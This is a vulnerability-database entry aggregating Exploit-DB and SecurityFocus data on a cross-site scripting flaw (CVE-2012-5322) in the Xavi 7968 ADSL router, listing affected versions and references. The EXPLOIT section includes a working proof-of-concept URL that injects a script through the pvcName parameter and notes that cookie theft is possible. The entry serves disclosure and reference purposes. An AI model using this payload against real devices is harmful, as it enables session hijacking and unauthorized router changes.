Details of VAR-E-201202-0071

ID

VAR-E-201202-0071

CVE

cve_id:	CVE-2012-5322	Trust: 1.9
cve_id:	CVE-2012-5323	Trust: 0.3

sources: BID: 52098 // EXPLOIT-DB: 36866 // EDBNET: 58158

EDB ID

36866

TITLE

Xavi 7968 ADSL Router - '/webconfig/wan/confirm.html/confirm?pvcName' Cross-Site Scripting - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 36866

DESCRIPTION

Xavi 7968 ADSL Router - '/webconfig/wan/confirm.html/confirm?pvcName' Cross-Site Scripting. CVE-79823CVE-2012-5322 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 36866

AFFECTED PRODUCTS

vendor:	xavi	model:	adsl router	scope:	eq	version:	7968	Trust: 1.0
vendor:	xavi	model:	adsl router	scope:	eq	version:	79680	Trust: 0.3

sources: BID: 52098 // EXPLOIT-DB: 36866

EXPLOIT

source: https://www.securityfocus.com/bid/52098/info

Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.

The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.

http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+

Trust: 1.0

sources: EXPLOIT-DB: 36866

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 36866

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 36866

TYPE

'/webconfig/wan/confirm.html/confirm?pvcName' Cross-Site Scripting

Trust: 1.0

sources: EXPLOIT-DB: 36866

CREDITS

Busindre

Trust: 0.6

sources: EXPLOIT-DB: 36866

EXTERNAL IDS

db:	NVD	id:	CVE-2012-5322	Trust: 1.9
db:	BID	id:	52098	Trust: 1.9
db:	EXPLOIT-DB	id:	36866	Trust: 1.6
db:	EDBNET	id:	58158	Trust: 0.6
db:	NVD	id:	CVE-2012-5323	Trust: 0.3

sources: BID: 52098 // EXPLOIT-DB: 36866 // EDBNET: 58158

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2012-5322	Trust: 1.6
url:	https://www.securityfocus.com/bid/52098/info	Trust: 1.0
url:	https://www.exploit-db.com/exploits/36866/	Trust: 0.6
url:	http://www.xavi.com.tw/	Trust: 0.3

sources: BID: 52098 // EXPLOIT-DB: 36866 // EDBNET: 58158

SOURCES

db:	BID	id:	52098
db:	EXPLOIT-DB	id:	36866
db:	EDBNET	id:	58158

LAST UPDATE DATE

2022-07-27T09:25:00.939000+00:00

SOURCES UPDATE DATE

db:

BID

id:

52098

date:

2012-10-10T18:20:00

SOURCES RELEASE DATE

db:	BID	id:	52098	date:	2012-02-21T00:00:00
db:	EXPLOIT-DB	id:	36866	date:	2012-02-21T00:00:00
db:	EDBNET	id:	58158	date:	2012-02-21T00:00:00